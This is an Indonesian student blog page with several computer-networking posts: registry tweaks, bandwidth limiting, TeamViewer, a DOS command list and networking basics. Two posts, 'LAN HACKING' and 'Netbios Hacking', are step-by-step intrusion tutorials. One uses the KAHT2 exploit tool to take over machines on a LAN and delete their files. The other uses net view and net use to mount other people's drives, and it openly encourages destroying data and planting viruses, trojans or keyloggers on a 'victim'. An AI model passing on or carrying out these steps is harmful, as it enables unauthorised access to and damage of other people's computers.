Assalamu'alaikum...Selamat Datang di Electrical Engineering Community 04...Take your Coment Bro...
Showing posts with label Jaringan Komputer. Show all posts
Showing posts with label Jaringan Komputer. Show all posts

Sunday, December 5, 2010

Tip dan Trik Registry WINDOWS

1. Menyembunyikan drive pada My Computer
Ikutilah langkah berikut. Klik Start*Run, ketikkan regedit lalu tekan
Enter.
Anda bisa menyembunyikan drive pada My Computer dengan cara masuk
ke :
Key :HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\Explorer
Value Name : NoDrives
Data Type : REG_DWORD
Data :
Pada data bisa Anda isi dengan drive yang ingin Anda sembunyikan.
Adapun nilainya adalah :
A: 1, B: 2, C: 4, D: 8, E: 16, F: 32, G: 64, H: 128, I: 256, J: 512, K: 1024, L:
2048, M: 4096, N: 8192, O: 16384, P: 32768, Q: 65536, R: 131072, S:
262144, T: 524288, U: 1048576, V: 2097152, W: 4194304, X: 8388608, Y:
16777216, Z: 33554432, ALL: 67108863

2. Menyembunyikan icon Network Neighborhood
Icon Network Neigborhood akan nampak pada desktop jika Anda
menginstall Windows Networking. Jika Anda tidak suka, Anda bisa
menyembunyikan icon tersebut.
Ikutilah langkah berikut. Klik Start*Run, ketikkan regedit lalu tekan Enter.
Key: HKEY_CURRENT_USER\Software\Microsoft\Windows
\CurrentVersion\Policies\Explorer
Value Name: NoNetHood
Data Type: REG_DWORD
Data: (0 = disabled, 1 = enabled/menyembunyikan icon)

3. Mendisable MS-DOS Command Prompt
Setting berikut ini akan mencegah "penggunaan" MS-DOS command
prompt pada Windows.
Ikutilah langkah berikut. Klik Start*Run, ketikkan regedit lalu tekan Enter.
Key:
HKEY_CURRENT_USER\Software\Microsoft\Windows
\CurrentVersion\Policies\WinOldApp
Value Name: Disabled
Data Type: REG_DWORD Data: (0 = disable, 1 = enable/mencegah MSDos
command prompt)

4. Mencegah penggantian setting Display Properties
Anda dapat melakukan Setting display dari Control Panel - Display
atau melalui klik kanan pada desktop, lalu pilih Properties.
Dengan setting di bawah ini orang lain tidak dapat mengganti setting pada
Display tersebut.
Ikutilah langkah berikut. Klik Start*Run, ketikkan regedit lalu tekan Enter.
Key:
HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Policies\System
Value Name: NoDispCPL
Data Type: REG_DWORD
Data: (0 = disabled, 1 = enabled/mencegah penggantian)
(Membuat key System : Pada panel sebelah kiri, pilih Policies, klik kanan,
New - Key. Beri nama System. Lalu pilih System, klik kanan, New -
DWORD Value. Beri nama NoDispCPL. Klik dua kali pada NoDispCPL,
ganti angka 0 menjadi 1 untuk mencegah penggantian setting Display
Properties.

5. Menyimpan isi folder
Anda yang sering mengamati isi dari suatu folder, tentunya butuh
cara yang tepat dan cepat. Untuk itu ikuti langkah berikut :
Pertama buat file isifolder.bat dengan Notepad dan diletakkan di
c:\windows, lalu ketikkan :
@echo off
dir %1% /o > c:\windows\isifolder.txt
notepad c:\windows\isifolder.txt
Buka registry lalu ke key [HKEY_CLASSES_ROOT\Directory\Shell
Buat key baru dg mengklik kanan pilih New - Key.
Pindah ke panel sebelah kanan, klik 2x pada Default.
Isi dengan &Lihat Isi Folder
Buat key lagi dengan nama command.
Pd panel sebelah kanan klik 2x pd Default.
Isi dengan c:\windows\isifolder.bat %1
Mulai sekarang untuk melihat dan menyimpan isi dari suatu folder, Anda
tinggal mengklik kanan pada folder tersebut.

6. Mencegah perubahan setting Network
Jika Anda meng-enable setting ini, maka orang lain tidak dapat
mengganti setting pada Control Panel - Network.
Ikutilah langkah berikut. Klik Start*Run, ketikkan regedit lalu tekan Enter.
Key:
HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Policies\Network
Value Name: NoNetSetup
Data Type: REG_DWORD
Data: (0 = disabled, 1 = enabled)
(Bila belum terdapat key Network, cara membuatnya sama seperti tips
setting Display di atas)

7. Mencegah perubahan setting Printer
Jika Anda meng-enable setting ini, maka orang lain tidak dapat
mengganti setting pada Control Panel - Printer.
Ikutilah langkah berikut. Klik Start*Run, ketikkan regedit lalu tekan Enter.
Key:
HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Policies\Explorer
Value Name: NoPrinters
Data Type: REG_DWORD
Data: (0 = disabled, 1 = enabled)

8. Mencegah perubahan setting Password
Jika Anda meng-enable setting ini, maka orang lain tidak dapat
mengganti setting pada Control Panel - Password. Dengan kata lain orang
lain tidak dapat mengganti password (jika komputer Anda memakai
password Windows).
Ikutilah langkah berikut. Klik Start*Run, ketikkan regedit lalu tekan Enter.
Key: HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Policies\System
Value Name: NoSecCPL
Data Type: REG_DWORD
Data: (0 = disabled, 1 = enabled)

9. Mencegah perintah Shut Down
Setting berikut akan mencegah seseorang untuk mematikan
komputer Anda. Hal ini berguna jika misalnya Anda meninggalkan
komputer untuk beberapa saat dan Anda khawatir ada orang lain yang
akan men-Shut Down komputer Anda.
Ikutilah langkah berikut. Klik Start*Run, ketikkan regedit lalu tekan Enter.
Key: HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Policies\Explorer
Value Name: NoClose
Data Type : REG_DWORD
Data: (0 = shutdown enabled, 1 = shutdown disabled)

10. Menyembunyikan semua item pada desktop
Setting berikut akan menyembunyikan semua item yang terdapat
pada desktop Anda.
Ikutilah langkah berikut. Klik Start*Run, ketikkan regedit lalu tekan Enter.
Key : HKEY_CURRENT_USER\Software\Microsoft\Windows\\
CurrentVersionPolicies\Explorer
Value Name : NoDesktop
Data Type : REG_DWORD
Data : (0 = disabled, 1 = enabled)

11. Disable klik kanan pada Dekstop & Windows Explorer
Jika Anda meng-enable setting di bawah ini maka tidak ada yang
bisa melakukan klik kanan pada Desktop & Windows Explorer. Dengan
kata lain menu yang muncul waktu klik kanan tidak ada lagi.
Ikutilah langkah berikut. Klik Start*Run, ketikkan regedit lalu tekan Enter.
Key: HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Policies\Explorer
Value Name: NoViewContextMenu
Data Type: REG_DWORD
Data: (0 = disabled, 1 = enabled)
Untuk melihat perubahannya Anda perlu melakukan restart.

12. Disable klik kanan pada Taskbar
Jika Anda meng-enable setting di bawah ini maka tidak akan muncul
menu waktu melakukan klik kanan pada Start Menu, Tab control, dan
Clock.
Ikutilah langkah berikut. Klik Start*Run, ketikkan regedit lalu tekan Enter.
Key: [HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Policies\Explorer]
Value Name: NoTrayContextMenu
Data Type: REG_DWORD
Data: (0 = disabled, 1 = enabled)
Untuk melihat perubahannya Anda perlu melakukan restart.

13. Mengganti alignment/perataan teks pada Drop Down Menu
(drop down menu = menu yg muncul saat Anda mengklik menu File, Edit,
Help, dll pd berbagai aplikasi Windows)
Secara default, alignment pada drop down menu adalah rata kiri. Kalau
Anda suka, Anda bisa menggantinya menjadi rata kanan.

Ikutilah langkah berikut. Klik Start*Run, ketikkan regedit lalu tekan Enter.
Caranya :
Key: HKEY_CURRENT_USER\Control Panel\Desktop
Value Name: MenuDropAlignment
Data Type: REG_SZ
Data: (0 = rata kiri, 1 = rata kanan)
Langkah terakhir sebelum melihat harilnya adalah restart.

14. Menghilangkan panah pada shortcut
Kalau kita membuat shortcut dari suatu aplikasi atau pun directory
pasti akan kita lihat sebuah panah kecil. Dari segi penampilan, panah
yang menutupi sebagian icon tersebut sangat menjengkelkan. Apalagi jika
kita ingin menonjolkan gambar icon tersebut. Untuk itu ada sebuah cara
untuk menghapus panah tersebut sehingga penampilan icon kita lebih
menarik.
Ikutilah langkah berikut. Klik Start*Run, ketikkan regedit lalu tekan Enter.
hapus string value "IsShortcut" yang ada di dalam subkey "lnkfile" dan
"piffile" pada key "HKEY_CLASSES_ROOT" dari registry windows anda.

15. Install font dengan lebih cepat
Untuk menginstall font biasanya kita harus mengikuti langkah yang
panjang : Start > Settings > Control Panel > Font. Lalu dari situ Anda
harus klik File > Install New Fonts. Cara tersebut tentunya sangat
menjengkelkan. Sebenarnya ada cara yang lebih mudah, yaitu :
Cara pertama :
1. Buka registry editor.
2. Pindah ke key "HKEY_CLASSES_ROOT\TTFFILE\SHELL".
3. Pilihlah perintah "Edit > New > Key" dan berikanlah nama "Install
Fonts" pada key yang baru diletakkan tadi.
4. Klik ganda pada bagian jendela kanan pada entry "(Default)".
5. Berikan nilai "Value"-nya "Install Font" dan konfirmasikan perubahan ini
dengan mengklik "OK".
6. Tandai sekali lagi subkey "Install Font" dan di dalamnya dengan
menggunakan perintah "Edit > New > Key".
7. Buatlah sebuah subkey baru yang dinamakan "command".
8. Klik ganda pada "(Default)", berikan pada "Value"-nya perintah
"c:\windows\command\xcopy32.exe %1 c:\windows\fonts".
Sekarang jika Anda mengklik kanan pada file *.ttf akan muncul menu
Install Fonts. Jika anda memilih menu ini, maka file font tersebut akan dicopy
ke dalam folder Windows anda.
Cara kedua :
1. Buat shortcut yang menunjuk ke directory font pada Windows Anda
(C:\Windows\Fonts).
2. Letakkan shortcut tersebut pada directory Send To.
Sekarang untuk menginstall font, klik kanan pada file *.ttf, pilih Send To >
Fonts.


Saturday, September 11, 2010

Cara membagi Bandwidth tanpa software

Daya signal frekwensi internet, dimana Setiap Komputer dalam menggunakan atau terhubung dengan internet oleh provider akan diberikan kapasitas Bandwith contohnya : 64 kb/s atau 512 Kb/s dst.
Untuk pemakaian bisnis seperti Perkantoran dan Warnet, perlu dibuat pembagian Bandwith, agar setiap komputer yang terhubung dengan internet dalam satu jaringan memilik bagian yang sama besar. Bila tidak ada pengaturan Bandwith maka dalam sebuah jaringan siapa yang lebih dahulu memakai komputer dan melakukan download software yang kapasitas besar, maka sebahagian besar Bandwith akan ter arah ke kumputer tersebut, sementara komputer lain speed internetnya akan melambat bahkan mungkin tidak dapat browsing internet.
Ada dua Cara untuk mengontrol Bandwith antara lain :
1. Setting pada OS
2. Dengan Menggunakan Software Kontrol Bandwith
Yang akan di bahas di sini adalah membagi Bandwith untuk Client Komputer tanpa menggunakan Software
Cara nya adalah sebagai berikut:
Klik start ==> run
Lalu ketik gpedit.msc, Kemudian setelah itu keluar kotak “Group Policy”
Di “ Computer Configuration “, Pilih “Administrative Templates“
Lalu pilih “ Network “
Klik pada “QoS Packet Scheduler “
Setelah itu Pilih Pada “ Limit reservable Bandwidth “
Pilih dari “ Not Configured “ menjadi “ Enable “
Setelah itu Pada tabel bawah pada tulisan “ Bandwidth Limit % “ Ubah Dari “20” Menjadi “80 atau 20”, Lalu “Apply” , “ OK “. setting ini tergantung dari jumlah komputer, jika kita mau setting setiap komputer dapet bandwith 10% maka kita tinggal masukan angka 90%, bila setiap komputer ingin kita set dapat 20% maka tinggal kita masukan angka 80%.

Friday, September 10, 2010

LAN (LAN HACKING)

khusus Pemula (artikel ini hanya untuk main-main saya tidak menyarankan jika dilakukan dikampus,kasiahan mas mbak UPT kita bisa ulang-ulang benahi kompter Leb berikut penjelasannya)
Buat yang lagi kesel ama orang di jaringan / LAN silahkan lakukan tutorial ini
Pertama download program KAHT
google.com
ketik : kaht2
setelah anda mendapatkan programnya
taruh di c:\rusak
semua file di kaht2.zip di extrack ke c:\rusak
biar gampang di inget
nah kita mulai :
masuk ke menu command / DOS
dengan cara klik START > RUN > ketik CMD
setelah kebuka
ketik : c:\ ( atau cd../..)
kemudian ketik: cd rusak
nah anda udah masuk di direktori file kaht anda
sekarnag mari kita mulai
mulai dengan scan
tentukan target yang kamu mau rusak misal :

192.168.0.1 - 192.168.0.255
dengan cara : c:\rusak\kaht2 192.168.0.1 192.168.0.255

kalo dah masuk begitu tampilannya
sekarang semua terserah anda
komputer target udah jadi milik kita hahahahahaha
mulai dengan menghapus file file yang ada di direktori d: nya
PERINGATAN!
Jangans sekali kali merubah letak posisi tempat kamu berada sekarang
misal c:\winnt\system32
cukup anda melakukan perintah seperti ini : c:\winnt\system32\dir d:
maka akan keluar tampiilan hardisk D nya
jangan sekali kali kluar dari c:\winnt\system32
kemudian jika anda ingin membuat jekjak anda biar keren
c:\winnt\system32\mkdir d:\hacked_by_penyair_at_nongkrong_dot_info
command ini akan membuat folder dalam hardisk D: nya dengan nama : hacked_by_penyair_at_nongkrong_dot_info
selamat berkreasi
jika anda bingung apa aja yang mau di kerjain
ketik : c:\winnt\system32\help

Tuesday, April 20, 2010

Remote komputer dengan Sofware Team Viewer



Team Viewer adalah sebuah software yang mampu menampilkan/membagi desktop komputer berbeda dalam sebuah jaringan komputer. Dengan software ini, anda bisa mensharing akses komputer anda secara penuh kepada teman. Anda bisa mengakses komputer teman atau teman anda mengakses komputer anda dalam jangkauan jaringan yang sangat jauh dengan sangat mudahnya.


Berbeda dengan Remote komputer dengan Netbios Hacking yang menawarkan akses me- remote komputer dengan cara manual maka berikut ini menggunakan software Team Viewer.

Team Viewer sangat membantu menyelesaikan masalah-masalah yang membutuhkan akses dekstop secara penuh pada komputer dengan jaringan berbeda.

Team Viewer terbagi menjadi dua bagian, Host dan Client. Host adalah software (TeamViewer) yang diinstalkan sebagai server atau monitor di komputer anda. Selanjutnya Client diinstalkan pada komputer lain yang akan dlihat atau diremote hak akses dekstopnya secara penuh oleh kita.

Langkah pertama Download dan install terlebih dahulu Team Viewer Host pada komputer sumber (komputer untuk memonitor).


Selanjutnya install juga Team Viewer Client pada komputer tujuan (komputer yang akan diremote). Setelah Team Viewer client dijalankan pada komputer tujuan akan terlihat ID dan Password yang digunakan sebagai informasi remote login pada komputer host.


Buka Team Viewer Host pada komputer monitor. Pada kotak session, masukan ID komputer yang diperoleh dari infomasi pada komputer client, selanjutnya pilih Remote Support kemudian klik Connect to patner.



Tunggu beberapa saat kemudian akan keluar jendela autenfikasi, masukan password dari komputer client.


Jika jaringan dalam kondisi stabil, pada jendela Team Viewer Host akan terlihat desktop komputer client. Anda dapat melakukan beberapa akses ke komputer client menggunakan menu File transfer, Actions, Views dan Extras.


Friday, April 2, 2010

Daftar lengkap perintah DOS

DOS (Disk Operating System) adalah sistem operasi berbasis teks yang dikeluarkan microsoft sebelum windows. Sama seperti Terminal di Linux, DOS memiliki daftar perintah berbasis teks yang harus diketik di Console DOS atau lazim disebut Command Prompt. Mengetahui penggunaan perintah DOS adalah pengetahuan tersendiri yang perlu dipahami oleh administrator jaringan berbasis windows. Anda akan lebih mudah menguasai NetBios Hacking atau remote komputer berbasis console di windows dengan mengetahui perintah- perintah DOS.

Berikut daftar lengkap perintah DOS beserta fungsinya :

# ADDUSERS : Menambah/melihat daftar user melalui CSV file
# ARP : Address Resolution Protocol
# ASSOC : Mengganti ekstensi file asosiasi
# ASSOCIAT : Menjalankan file asosiasi satu langkah
# AT : Menjadwalkan perintah yang akan dijalankan lain waktu
# ATTRIB : Mengganti attribut file

# BOOTCFG : Mengedit pengaturan Windows boot
# BROWSTAT : Mengambil domain, browser dan PDC info

# CACLS : Mengganti permision file
# CALL : Memanggil salah satu program dari kelompok program
# CD : Pindah direktori/pindah folder
# CHANGE : Mengganti properties Terminal Server Session
# CHKDSK : Cek disk/harddisk dan memperbaiki permasalah harddisk
# CHKNTFS : Cek NTFS file system
# CHOICE : Menyetujui/memilih tombol input keyboard untuk memanggil file
# CIPHER : Enkripsi/dekripsi file atau folder
# CleanMgr : Menghapus otomatis temporary file termasuk recycle bin
# CLEARMEM : Menghapus/membersihkan memory
# CLIP : Mengcopy STDIN ke Windows clipboard.
# CLS : Membersihkan/menghilangkan layar
# CLUSTER : Clustering Windows
# CMD : Memulai/membuka command prompt
# COLOR : Mengganti warna layar command prompt
# COMP : Membandingkan isi dua file atau lebih
# COMPACT : Mengompress file atau folder pada partisi NTFS
# COMPRESS : Mengompress sebuah file pada partisis NTFS
# CON2PRT : Menghubungkan atau memutus koneksi printer
# CONVERT : Mengganti dari partisi FAT ke NTFS.
# COPY : Mencopy satu atau lebih files
# CSVDE : Import/Export Active Directory data

# DATE : Menampilkan tanggal
# Dcomcnfg : DCOM Configuration Utility
# DEFRAG : Mendefragmen harddisk
# DEL : Menghapus file
# DELPROF : Menghapus profil user NT
# DELTREE : Menghapus folder dan subfolder
# DevCon : Device Manager Command Line Utility
# DIR : Menampilkan daftar file dan folder
# DIRUSE : Menampilkan daftar disk yang terpakai
# DISKCOMP : Membandingkan isi dua buah floppy disk
# DISKCOPY : Mengcopy isi Floppy disk
# DNSSTAT : DNS Statistik
# DOSKEY : Mengedit baris perintah, memanggil ulang perintah, dan membuat macros
# DSADD : Menambah user dan grup komputer di active directory
# DSQUERY : Menampilkan daftar item di active directory
# DSMOD : Memodifikasi user dan grup komputer di active directory

# ECHO : Menampilkan pesan di layar
# ENDLOCAL : Menampilkan perubahan pada akhir kelompok file
# ERASE : Menghapus satu atau lebih file
# EXIT : Keluar dari commant prompt
# EXPAND : Menggelar file
# EXTRACT : Mengekstrak file

# FC : Membandingkan dua file
# FDISK : Menampilkan format disk dan partisi
# FIND : Mencari sebuah file
# FINDSTR : Mencari file berdasarkan potongan kata
# FOR : Menampilkan kondisi terakhir yang terjadi pada waktu terakhir
# FORFILES : Menampilkan proses kelompok file
# FORMAT : Memformat disk
# FREEDISK : Melihat kapasitas disk yang kosong
# FSUTIL : Utilitas file dan volume file
# FTP : File Transfer Protocol
# FTYPE : Menampilkan atau mengganti ekstensi file

# GLOBAL : Menampilkan user dari grup global
# GOTO : Mengakses langsung kelompok program melalui label program pada command line

# HELP : Bantuan
# HFNETCHK : Network Security Hotfix Checker

# IF : Salah satu perintah kondisi
# IFMEMBER : Kondisi salah satu user di NT Workgroup
# IPCONFIG : Konfigurasi IP (Internet Protocol)

# KILL : Mematikan/menghapus program yang sedang berjalan di memory

# LABEL : Mengganti label disk
# LOCAL : Menampilkan anggota sebuah grup
# LOGEVENT : Menulis file di NT event viewer.
# LOGOFF : Logoff
# LOGTIME : Menampilkan Log tanggal dan waktu pada sebuah file

# MAPISEND : Mengirim e-mail dengan baris perintah
# MEM : Menampilkan memori yang terpakai
# MD : Membuat sebuah folder
# MODE : Mengkonfigurasi system device
# MORE : Menampilakn output/hasil berikutnya dilayar
# MOUNTVOL : Manajemen volume mount point
# MOVE : Memindahkan file
# MOVEUSER : Memindahkan user
# MSG : Mengirim pesan
# MSIEXEC : Microsoft Windows Installer
# MSINFO : Windows NT diagnosik
# MSTSC : Terminal Server Connection (Remote Desktop Protocol)
# MUNGE : Mencari dan mereplika teks dalam sebuah file
# MV : Mencopy file yang sedang aktif

# NET : Manajemen jaringan yang digunakan
# NETDOM : Domain Manager
# NETSH : Mengkonfigurasi network protocols
# NETSVC : Daftar perintah Service Controller
# NBTSTAT : Menampilkan statistik jaringan (NetBIOS TCP/IP)
# NETSTAT : Menampilkan statistik jaringan (TCP/IP)
# NOW : Menampilkan tanggal dan waktu sekarang
# NSLOOKUP : Name server lookup
# NTBACKUP : Membackup file
# NTRIGHTS : Mengedit user
# PATH : Menampilkan alamat (path) sebuah program
# PATHPING : Menelusuri jejak koneksi yang terganggu dan kehilangan paket
# PAUSE : Mengentikan proses sejenak pada program atau perintah yang sedang berjalan
# PERMS : Menampilkan user permition
# PERFMON : Memonitor permorma
# PING : Mengetes koneksi jaringan
# POPD : Restore ke harga awal pada direktori asli berdasarkan PUSHD
# PORTQRY : Menampilkan status port dan services
# PRINT : Mencetak teks
# PRNCNFG : Menampilkan, mengkonfigurasi atau mengganti nama printer
# PRNMNGR : Menambah, menghapus atau mendefault printer
# PROMPT : Mengganti perintah
# PsExec : Mengeksekusi proses secara remote
# PsFile : Menampilkan file yang terbuka secara remote
# PsGetSid : Menampilkan SID komputer pengguna
# PsInfo : Menampilkan informasi sistem komputer
# PsKill : Mematikan proses berdasarkan nama atau ID proses
# PsList : Menampilkan detail proses yang sedang berjalan
# PsLoggedOn : Melihat siapa yang sedang Logon baik local maupun sharing
# PsLogList : Menampilkan rekaman LOG
# PsPasswd : Mengganti password account
# PsService : Menampilkan dan mengontrol services
# PsShutdown : Shutdown atau merestart komputer
# PsSuspend : Suspend
# PUSHD : Menyimpan kemudian mengganti pada direktori asli
# QGREP : Mencari file berdasarkan pola

# RASDIAL : Manajemen RAS connections
# RASPHONE : Manajemen RAS connections
# RECOVER : Merecover file yang rusak dari disk
# REG : Membaca, mengeset atau menghapus registry key atau value
# REGEDIT : Mengimpor/eksport pengaturan registry
# REGSVR32 : Register atau unregister DLL file
# REGINI : Mengganti Registry Permissions
# REM : Merekam komentar pada kelompok file
# REN : Mengganti nama file
# REPLACE : Menindih (replace) atau mengupdate file dengan file lainya
# RD : Menghapus folder
# RDISK : Membuat Recovery Disk
# RMTSHARE : Sharing folder atau printer
# ROBOCOPY : Menyalin file atau folder secara keseluruhan (asli)
# ROUTE : Manipulasi network routing tabel
# RUNAS : Menjalankan program pada user account berbeda
# RUNDLL32 : Menjalankan perintah DLL32

# SC : Service Control
# SCHTASKS : Membuat atau mengedit schedule task
# SCLIST : Menampilkan service NT yang sedang berjalan
# ScriptIt : Mengontrol aplikasi GUI
# SET : Menampilkan, mengeset atau menghapus variabel tertentu
# SETLOCAL : Mengubah local konfigurasi sementara pada kelompok file
# SETX : Mengatur konfigurasi variabel secara permanen
# SHARE : Menampilkan atau mengedit data/printer sharing
# SHIFT : Menyisipkan parameter pada kelompok file
# SHORTCUT : Membuat shortcut file
# SHOWGRPS : Menampilkan NT Workgroups user yang tergabung
# SHOWMBRS : Menampilkan keanggotaan user pada sebuah workgroup
# SHUTDOWN : Mematikan komputer
# SLEEP : Mematikan sementara (x second)
# SOON : Menjadwalkan perintah agar berjalan pada waktu yang akan datang
# SORT : Sort input
# START : Menjalankan program tertentu pada jendela terpisah
# SU : Switch User
# SUBINACL : Edit file, folder Permissions, Ownership dan Domain
# SUBST : Mengurutkan lokasi berdasarkan drive letter
# SYSTEMINFO : Menampilkan daftar konfigurasi sistem

# TASKLIST : Menampilkan daftar aplikasi dan service yang sedang berjalan
# TIME : Menampilkan atau mengkonfigurasi tanggal/waktu
# TIMEOUT : Penundaan proses
# TITLE : Mengatur judul jendela CMD.EXE pada waktu berjalan
# TOUCH : Mengganti stempel waktu (timestamps) file
# TRACERT : Menelusuri route jaringan pada remote host
# TREE : Menampilkan folder terstruktur pada mode grafis
# TYPE : Menampilkan isi sebuah file

# USRSTAT : Menampilkan daftar nama domain dan sesi login terakhir

# VER : Menampilkan informasi versi
# VERIFY : Memverifikasi file yang telah disimpan
# VOL : Menampilkan label disk

# WHERE : Menentukan dan menampilkan lokasi file pada stuktur direktori
# WHOAMI : Menampilkan UserName dan domain sebenarnya
# WINDIFF : Membandingkan isi dua buah file dan konfigurasinya
# WINMSD : Diagnosa sistem windows
# WINMSDP : Diagnosa sistem windows lainya
# WMIC : Perintah WMI

# XCACLS : Mengganti file permission
# XCOPY : mengcopy files dan folder

Thursday, April 1, 2010

Remote komputer dengan Netbios Hacking

Hacking menggunakan metode Netbios atau lebih dikenal dengan Netbios Hacking merupakan teknik hacking klasik yang bisa kita pelajari dan tidak salah untuk dipraktekkan. Hacking Netbios cocok diterapkan pada jaringan LAN, semisal warnet atau jaringan kantor.


Hal utama yang dibutuhkan dalam Netbios Hacking adalah IP Address. Ada berbagai tools dan sofware yang dapat digunakan untuk menscan IP Address yang sedang aktif pada jaringan lokal, misalnya Look at Lan, IP Scanner, dll.

Langkah-langkah Netbios Hacking :
Buka command Prompt, atau pada run ketik cmd kemudian enter.
Pada command prompt ketik netview \\ip_address, misalnya C:\>net view \\192.168.1.1
Jika tidak ada pesan error yang ditampilkan, coba dengan IP Address yang berbeda. Jika sukses tidak ada pesan error, lanjutkan dengan perintah yang lain dibawah ini.
C:\>net use C:\\192.168.1.100
C:\>net use D:\\192.168.1.100\SharedDocs
C:\>net use F:\\192.168.1.100\Myprint

Pada contoh-contoh di atas menunjukan beberapa perintah yang biasa digunakan. C:,D:, dan F: adalah drive yang biasa terdapat di komputer. Perintah pertama bertujuan untuk mengakses drive C. Perintah kedua (SharedDocs) digunakan untuk mengakses Dokumen yang di sharing sedangkan perintah ketiga (Myprint) dipakai untuk mengakses printer komputer yang akan diremote.

Jika tampil pesan "The commad completed successfully", berarti perintah yang dilakukan berhasil meremote komputer korban. Langkah selanjutnya tinggal mengobrak-abrik komputer korban, mencopy, menghapus data, memasukan virus, spyware, trojan atau keylogger.

Menarik bukan?... Hacking netbios dapat dijadikan awal kita memulai aktifitas hacking di jaringan. wew....

Catatan: Hacking netbios yang dapat dijalankan pada komputer yang tidak terlindungi oleh Firewall. Jadi jika Firewall komputer diaktifkan maka akan tampil pesan error. Stop dan coba dengan IP Address yang berbeda.

Sunday, August 23, 2009

Was Wes Wos.......
Selamat menunaikan ibadah puasa yahhhh...ni hari yang kedua yah...mudah2an kita masih tetap di beri kekuatan iman dan takwa. Hari ini admin lupa sholat subuh...T_T... menyesal belakangan, tau gini gak coba2 pake selimut tadi pagi..akhirnya keenakan tidurnya. Pelajaran pertama : jangan tidur pake selimut..huhuhuu
Oke..bukan namanya TE UII klo gak bahas tentang Komputer. Ni admin bagi2 pengetahuan tentang Jaringan Komputer yah.. ato klo pak Alief Subandono(dosen Jarkom dan Arsikom) bilang tu JARKOM..hehheh



First of all we study about Computer Network Concept..cie english...(jangan ada yg protes!!!)
Berbicara masalah konsep berati tidak terlepas dari manfaat yang terkandung didalamya. Seperti menyembuhkan penyakit hati, penyakit kulit, penyakit apa saja <-( mulai lari dari kenyataan nih)

manfaatnya Jarkom itu


  • Dapat saling berbagi pemakaian file data(sharing data) dengan komputer rekan

  • Tukar menukar data antar komputer dapat kita lakukan dengan cepat

  • Satu printer dapat dipakai bersama2 dalam area jaringan

  • Hemat biaya pastinya...

  • Efisiensi kerja menjadi meningkat

  • FFile2 lebih mudah dipelihara dan di proteksi

  • Kinerja sistem dapat kita tingkatkan sesuai dengan beban pemakaian komputer dijaringan. Kita hanya cukup menambah kemampuan processor untuk meningkatkan kinerja

Nahhhhh that is..... Kurang lebih begitulah kata pak Jarkom (pak alief)heheheh...

Apa itu komunikasi data???


Apa yahhh......ummmmmm... namanya aja komunikasi berarti ada hubungan. Sama halnya dengan henpon komunikater (tulisan englishnya communicator), dimana komunicater itu adalah henpon yang dapat berfungsi sebagai komunikasi dan senter, dapat dilihat di nokia 1200.
Tak perlu berlama2 membahas soal komunikater, mari kita lanjutkan...komunikasi data itu adalah pengiriman data atau informasi dari suatu sumber (source) ke tujuan (destination). Komunikasi Data (Komdat) dapat dilakukan antara dua jenis komputer atau lebih yang jenisnya sama ataupun berbeda.

Mengenal Arsitektur Protokol TCP/IP


TCP/IP (Transport Control Protocol / Internet Protocol) merupakan salah satu protokol atau standar jaringan yang sering digunakan pada jaringan berskala besar dan luas. TCP/IP dipakai karena bersifat fleksibel dan mudah digunakan. TCP/IP menggunakan protokol sampai dengan 4 level fungsi layer dalam arsitektur protokol, yaitu :Application Layer, Transport Layer, Internet Layer, Network Access Layer.

Fungsi Macam2 protokol
  • FTP (File Transfer Protocol), digunakan untuk transfer file dalam jaringan internet

  • POP (Post Office Protocol), digunakan untuk mengambil mail dari suatu server

  • RIP (Routing Information Protocol), digunakan untuk keperluan routing

  • DNS (Domain Name Service), digunakan untuk memetakan alamat IP Address kedalam nama atau group tertentu

  • MIME (Multipurpose Internet Mail Extention), digunakan untuk mengirimkan file binary dalam bentuk teks pada suatu jaringan./li>

  • SMB (Server Message Block), digunakan untuk transfer berbagai file dari sistem operasi DOS dan windows

  • NFS (Network File System), digunakan untuk sharing file bagi beragam host jaringan dan sistem operasi, biasanya protokol ini digunakan dalam sistem operasi linux

  • HTTP (Hyper Text Transfer Protocol),digunakan untuk web browsing di jaringan internet

  • TELNET (Network Terminal Protocol), digunakan untuk melakukan remote login bagi pengguna jaringan

  • SMTP (Simple Mail Transfer Protocol), digunakan untuk mengirimkan email di jaringan internet

  • NETBIOS (Network Basic Input Output System), digunakan sebagai protokol standar dalam jaringan

  • TCP (Transport Control Protocol), digunakan untuk pertukaran data pada jaringan secara kontinu (Connection Oriented). Artinya data ayang dikirim dijamin akan tersampaikan dengan benar dan urut

  • UDP (User Datagram Protocol), digunakan untuk pertukaran data pada jaringan dengan sifat connectionless. Artinya data yang dikirim tidak terjamin akan tersampaikan ke tujuan dengan baik

  • IP (Internet Protocol), digunakan untuk menyampaikan paket data pada alamat tujuan

  • ICMP (Internet Control Message Protokol), digunakan untuk menangani pesan status IP dan membantu menstabilkan kondisi jaringan jika terjadi kabel putus, router crash, atau host tujuan mati

Macam2 Jaringan Komputer


LAN (Local Area Network), merupakan suatu jaringan komputer yang masih berada di dalam gedung atau ruangan. dalam membuat jaringan LAN, minimal kita harus menyediakan dua buah komputer yang terdapat soket LAN bawaan komputer ataupun menggunakn LAN card.

MAN (Metropolitan Area Network), merupakan pengembangan dari LAN. Jaringan ini terdiri dari beberapa jaringan LAN yang saling berhubungan. letak jaringan ini bisa saling berjauhan tergantung dari panjangnya kabel yang kita gunakan. Jaringan ini dapat menjangkau lokasi yang berbeda tempat. MAN biasanya digunakanoleh sebuah perusahaan jaringan komputer, antar universitas atau kampus.de el el

WAN (Wide Area Network), merupakan bentuk jaringan komputer yang terdiri dari LAN dan MAN. Jaringan WAN telah memenuhi berbagai kebutuhan sistem jaringan untuk publik, jaringan pada perbankan, jual beli secara On-Line di Internet, jaringan penjualan jasa, dn jaringan lainnya. WAN menggunakan protokol Internet berupa NSP (Network Service Provider). Tanpa NSP, maka jaringan WAN tidak dapat bekerja. Jaringan WAN hanya menekankan pada fasilitas kecepatan akses transmisi sehingga memungkinkan seluruh komunikasi dapat berjalan lancar serta efisien. Di samping itu WAN berfungsi untuk mengontrol jumlah lalulintas data dan mencegah penundaan (delay) yang berlebihan, sehingga transfer data akan lebih cepat.

